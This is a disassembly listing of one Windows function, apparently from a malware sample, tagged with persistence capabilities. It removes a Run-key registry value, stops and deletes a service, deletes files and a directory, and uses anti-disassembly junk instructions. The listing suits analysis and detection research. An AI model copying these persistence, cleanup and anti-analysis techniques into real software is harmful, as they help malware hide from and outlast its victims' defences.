Function at 0x439430
Capabilities:
Delete directory
Delete file
Delete registry value
Delete service
Persist via run registry key
Persist via windows service
Set file attributes
Set registry value
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x481260
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
push eax
xor eax, eax
pop eax
je 0x439456
invalid
push eax
xor eax, eax
pop eax
je 0x43945e
invalid
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x14]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
mov dword [ebp - 0x14], 0
call esi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4394ab
mov eax, dword [0x4ba414]
test eax, eax
jne 0x43949a
mov eax, 0x482818
mov ecx, dword [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp - 0x14]
push edx
call ebx
lea eax, [ebp - 0x14]
push eax
push 0x20006
push 0
push str.SystemCurrentControlSetServicesDisk
push reloc.WSOCK32.dll_bind
call esi
test eax, eax
jne 0x4394f5
mov ecx, 6
mov esi, 0x4a7a20
lea edi, [ebp - 0x5c]
mov edx, dword [ebp - 0x14]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x5c]
push 0x1a
push ecx
push 2
push eax
push 0x4a3b84
push edx
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x14]
push eax
call ebx
push eax
xor eax, eax
pop eax
je 0x4394fd
invalid
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, dword [sym.imp.WINMM.dll_timeGetTime]
mov edi, eax
test edi, edi
je 0x4395f1
mov cl, byte [0x4ba410]
push 0
mov byte [ebp - 0x40], cl
lea ecx, [ebp - 0x40]
call fcn.00401760
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x40]
push edx
push 0
push 0x4ba410
call fcn.004073c0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x40]
push eax
push 0
push 0x4ba4a0
mov dword [ebp - 4], 0
call fcn.004073c0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x43956d
mov eax, 0x482818
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x4395d3
lea ecx, [ebp - 0x5c]
push ecx
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
push eax
xor eax, eax
pop eax
je 0x439595
invalid
call dword [sym.imp.WINMM.dll_timeGetTime]
mov esi, eax
xor eax, eax
mov edx, 0x3e8
sub edx, eax
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
cmp eax, esi
jb 0x4395bb
sub eax, esi
jmp 0x4395be
sub eax, esi
dec eax
cmp eax, 0x3e8
jb 0x43959f
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
call fcn.00401760
mov ebx, dword [sym.imp.WINMM.dll_timeGetTime]
push eax
xor eax, eax
pop eax
je 0x4395f9
invalid
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
mov dword [ebp - 0x14], esi
je 0x4396c2
mov al, byte [0x4ba410]
push 0
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x40], al
call fcn.00401760
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba410
lea ecx, [ebp - 0x40]
call fcn.004073c0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x439649
mov eax, 0x482818
push 0xf01ff
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x4396aa
lea edx, [ebp - 0x5c]
push edx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push eax
xor eax, eax
pop eax
je 0x439671
invalid
call ebx
mov esi, eax
xor eax, eax
mov ecx, 0x3e8
sub ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
cmp eax, esi
jb 0x43968f
sub eax, esi
jmp 0x439692
sub eax, esi
dec eax
cmp eax, 0x3e8
jb 0x439677
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, dword [ebp - 0x14]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
call fcn.00401760
mov dl, byte [ebp - 0xd]
mov al, byte [ebp - 0xd]
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x30], dl
mov byte [ebp - 0x2f], al
mov byte [ebp - 0x28], 0
call fcn.00407d10
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 2
push ecx
call fcn.00431ba0
mov eax, dword [ebp - 0x2c]
mov esi, dword [eax]
cmp esi, eax
je 0x439732
mov dl, byte [esi + 0xc]
push edx
call fcn.0043a930
mov eax, dword [esi + 8]
mov ecx, dword [0x4b0d0c]
cmp eax, ecx
je 0x439714
push eax
call fcn.00407db0
add esp, 4
jmp 0x43972b
mov eax, dword [esi + 4]
cmp esi, dword [eax + 8]
jne 0x439726
mov esi, eax
mov eax, dword [eax + 4]
cmp esi, dword [eax + 8]
je 0x43971c
cmp dword [esi + 8], eax
je 0x43972d
mov esi, eax
cmp esi, dword [ebp - 0x2c]
jne 0x4396f3
push eax
xor eax, eax
pop eax
je 0x43973a
invalid
mov al, byte [0x4ba188]
push 0
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x50], al
call fcn.00401760
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba188
lea ecx, [ebp - 0x50]
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 3
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x50]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push edx
push 0
push 0x4ba410
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x50]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push eax
push 0
push 0x4ba470
call fcn.004103c0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x4397d7
mov eax, 0x482818
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x4397f1
mov eax, 0x482818
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
call esi
push 1
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 2
call fcn.00401760
mov cl, byte [0x4ba188]
push 0
mov byte [ebp - 0x50], cl
lea ecx, [ebp - 0x50]
call fcn.00401760
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push edx
push 0
push 0x4ba188
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x50]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push eax
push 0
push 0x4ba410
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x50]
call fcn.00418ca0
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba450
lea ecx, [ebp - 0x50]
call fcn.004103c0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x4398a6
mov eax, 0x482818
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x4398ba
mov eax, 0x482818
push eax
call esi
push 1
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 2
call fcn.00401760
push 0x4af4d4
mov ecx, 0x4ba218
call fcn.00411bc0
test eax, eax
je 0x4399dd
mov dl, byte [0x4ba218]
push 0
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x50], dl
call fcn.00401760
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push eax
push 0
push 0x4ba218
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 5
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x50]
call fcn.00418ca0
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba4b0
lea ecx, [ebp - 0x50]
call fcn.004103c0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x43994d
mov eax, 0x482818
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x439961
mov eax, 0x482818
push eax
call esi
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push edx
push 0
push 0x4ba218
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x50]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push eax
push 0
push 0x4ba490
call fcn.004103c0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x4399b8
mov eax, 0x482818
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x4399cc
mov eax, 0x482818
push eax
call esi
push 1
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 2
call fcn.00401760
push 0x4af4d4
mov ecx, 0x4ba0a8
call fcn.00411bc0
test eax, eax
je 0x439af0
mov cl, byte [0x4ba0a8]
push 0
mov byte [ebp - 0x50], cl
lea ecx, [ebp - 0x50]
call fcn.00401760
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push edx
push 0
push 0x4ba0a8
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 6
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x50]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push eax
push 0
push 0x4ba4b0
call fcn.004103c0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x439a5f
mov eax, 0x482818
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x439a73
mov eax, 0x482818
push eax
call esi
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba0a8
lea ecx, [ebp - 0x50]
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x50]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x50]
push edx
push 0
push 0x4ba490
call fcn.004103c0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x439acb
mov eax, 0x482818
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x439adf
mov eax, 0x482818
push eax
call esi
push 1
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 2
call fcn.00401760
mov al, byte [0x4ba188]
push 0
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x40], al
call fcn.00401760
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba188
lea ecx, [ebp - 0x40]
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 7
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x40]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x40]
push edx
push 0
push 0x4ba410
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x40]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x40]
push eax
push 0
push 0x4ba3e0
call fcn.004103c0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x439b8d
mov eax, 0x482818
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x439ba1
mov eax, 0x482818
push eax
call esi
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba188
lea ecx, [ebp - 0x40]
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x40]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x40]
push edx
push 0
push 0x4ba410
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x40]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x40]
push eax
push 0
push 0x4ba430
call fcn.004103c0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x439c2b
mov eax, 0x482818
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x439c3f
mov eax, 0x482818
push eax
call esi
push 1
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.00401760
push 0x4ba188
lea ecx, [ebp - 0x40]
call fcn.0040f7e0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x40]
call fcn.00418ca0
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba410
lea ecx, [ebp - 0x40]
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x40]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x40]
push edx
push 0
push 0x4ba460
call fcn.004103c0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x439cd3
mov eax, 0x482818
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x439ce7
mov eax, 0x482818
push eax
call esi
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x40]
push eax
push 0
push 0x4ba188
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x40]
call fcn.00418ca0
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba410
lea ecx, [ebp - 0x40]
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x40]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x40]
push edx
push 0
push 0x4ba420
call fcn.004103c0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x439d71
mov eax, 0x482818
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x439d85
mov eax, 0x482818
push eax
call esi
push 1
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.00401760
push 0x4ba188
lea ecx, [ebp - 0x50]
call fcn.0040f7e0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 9
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x50]
call fcn.00418ca0
mov eax, dword [0x484bc8]
xor ebx, ebx
push eax
push ebx
push 0x4ba410
lea ecx, [ebp - 0x50]
call fcn.004103c0
mov eax, dword [ebp - 0x4c]
cmp eax, ebx
jne 0x439de6
mov eax, 0x482818
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 1
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 2
call fcn.00401760
mov esi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
cmp ecx, ebx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
je 0x439e4a
mov ecx, eax
cmp eax, ecx
jne 0x439e4a
mov ecx, dword [esi + 4]
push ecx
lea ecx, [ebp - 0x30]
call fcn.00407cd0
mov edx, dword [ebp - 0x2c]
mov eax, dword [0x4b0d0c]
lea ecx, [ebp - 0x1c]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], ebx
push ecx
mov dword [eax], eax
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x30]
mov dword [eax + 8], eax
call fcn.00447ca0
jmp 0x439e6c
cmp eax, esi
je 0x439e6c
lea ecx, [ebp - 0x14]
mov edi, eax
call fcn.00407740
lea edx, [ebp - 0x20]
push edi
push edx
lea ecx, [ebp - 0x30]
call fcn.004078d0
mov eax, dword [ebp - 0x14]
cmp eax, esi
jne 0x439e4e
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00478980
add esp, 4
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
xor esi, esi
call fcn.0046dc37
mov eax, dword [0x4b0d08]
dec eax
mov dword [0x4b0d08], eax
jne 0x439ea1
mov esi, dword [0x4b0d0c]
mov dword [0x4b0d0c], ebx
lea ecx, [ebp - 0x18]
call fcn.0046dcd3
cmp esi, ebx
je 0x439eb6
push esi
call fcn.00478980
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret